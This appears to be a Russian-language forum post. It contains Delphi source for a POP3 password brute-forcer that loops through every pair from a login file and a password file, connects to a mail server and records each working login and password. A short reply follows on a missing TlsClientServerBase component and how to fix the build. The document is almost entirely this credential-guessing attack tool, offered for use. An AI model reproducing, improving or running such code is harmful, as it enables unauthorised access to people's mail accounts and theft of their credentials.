procedure TForm1.Button1Click(Sender: TObject);
var
Login, Pass: TStrings;
l, p: Integer;
begin
if Edit1.Text='' then Exit;
if Edit2.Text='' then Exit;
Login:=TStringList.Create;
Pass:=TStringList.Create;
Login.LoadFromFile(Edit1.Text);
Pass.LoadFromFile(Edit2.Text);
for l:=0 to Login.Count-1 do
for p:=0 to Pass.Count-1 do
begin
IdPOP31.Username := Login.Strings[l];
IdPOP31.Password := Pass.Strings[p];
try
IdPOP31.Connect;
except
end;
if IdPOP31.Connected then
begin
Memo1.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[p]));
IdPOP31.Disconnect;
end;
end;
Login.Free;
Pass.Free;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit1.Text:=OpenDialog1.FileName;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit2.Text:=OpenDialog1.FileName;
end;
это даже на брут не похоже, если уж на то пошло. не может компилятор Tlsclientserverbase найти, видимо код - копипаст с другого форума. Либо ссылку пропиши к нему, если есть компонент, либо скачай, либо снеси эту строку.